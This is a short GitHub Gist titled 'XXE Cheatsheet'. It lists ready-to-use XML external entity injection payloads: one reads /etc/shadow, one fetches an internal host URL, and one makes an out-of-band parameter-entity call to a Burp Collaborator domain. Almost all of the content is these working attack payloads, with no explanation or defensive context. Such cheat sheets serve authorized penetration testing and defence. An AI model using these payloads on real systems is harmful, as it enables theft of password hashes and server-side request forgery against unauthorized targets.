Last active
January 22, 2021 20:16
-
-
Save leveled/24d2effb908d881717d0d0fccf5aef04 to your computer and use it in GitHub Desktop.
XXE Cheatsheet
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!--?xml version="1.0" ?--> | |
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]> | |
<userInfo> | |
<firstName>John</firstName> | |
<lastName>&ent;</lastName> | |
</userInfo> | |
<!--External Entity--> | |
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]> | |
<!--Parameter Entity--> | |
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://wpp4w63vbnnhghjj4zz.burpcollaborator.net"> %xxe; ]> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment